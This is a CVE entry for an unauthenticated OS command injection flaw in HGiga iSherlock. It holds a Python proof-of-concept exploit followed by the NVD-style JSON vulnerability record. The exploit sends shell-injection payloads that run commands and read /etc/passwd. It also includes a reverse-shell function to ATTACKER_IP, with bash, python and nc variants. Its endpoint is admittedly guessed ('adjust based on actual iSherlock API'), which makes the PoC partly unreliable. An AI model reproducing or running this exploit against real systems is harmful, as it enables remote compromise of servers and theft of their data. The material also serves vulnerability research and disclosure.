CVE-2025-11900

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11900 - HGiga iSherlock OS Command Injection PoC Vulnerability: Unauthenticated OS Command Injection CVSS: 9.8 (CRITICAL) Author: Security Researcher """ import requests import sys from urllib.parse import urljoin # Target iSherlock server URL TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-isherlock-server" def exploit_command_injection(target_url, cmd): """ Exploit OS Command Injection vulnerability in iSherlock Inject arbitrary OS commands via vulnerable parameter """ # Vulnerable endpoint - adjust based on actual iSherlock API vulnerable_endpoint = urljoin(target_url, "/api/v1/diagnostic") # Payload: inject OS command using shell metacharacters # Using semicolon (;) to chain commands and # to comment out the rest payload = f"127.0.0.1; {cmd} #" headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)", "Content-Type": "application/json" } # Data to send - the vulnerable parameter accepts host/IP input data = { "host": payload, "action": "ping" } try: response = requests.post( vulnerable_endpoint, json=data, headers=headers, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def reverse_shell(target_url, attacker_ip, attacker_port): """ Establish reverse shell via command injection """ # Reverse shell payload (bash) reverse_shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # Alternative reverse shell payloads: # python: python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # nc: nc -e /bin/sh IP PORT payload = f"127.0.0.1; {reverse_shell_cmd} #" vulnerable_endpoint = urljoin(target_url, "/api/v1/diagnostic") data = {"host": payload, "action": "ping"} try: response = requests.post( vulnerable_endpoint, json=data, headers={"Content-Type": "application/json"}, timeout=5, verify=False ) return response except Exception: # Connection may drop due to reverse shell pass if __name__ == "__main__": print("[*] CVE-2025-11900 - HGiga iSherlock OS Command Injection PoC") print(f"[*] Target: {TARGET_URL}") # Step 1: Verify the vulnerability with a simple command print("\n[*] Step 1: Testing command injection with 'id' command...") exploit_command_injection(TARGET_URL, "id") # Step 2: Read sensitive files print("\n[*] Step 2: Attempting to read /etc/passwd...") exploit_command_injection(TARGET_URL, "cat /etc/passwd") # Step 3: Get system information print("\n[*] Step 3: Gathering system information...") exploit_command_injection(TARGET_URL, "uname -a") # Optional: Establish reverse shell # print("\n[*] Establishing reverse shell...") # reverse_shell(TARGET_URL, "ATTACKER_IP", 4444) print("\n[*] Exploit completed.")

{"cve": {"id": "CVE-2025-11900", "sourceIdentifier": "[email protected]", "published": "2025-10-17T04:16:07.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The iSherlock developed by HGiga has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10441-00aaf-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10440-dd55d-1.html", "source": "[email protected]"}]}}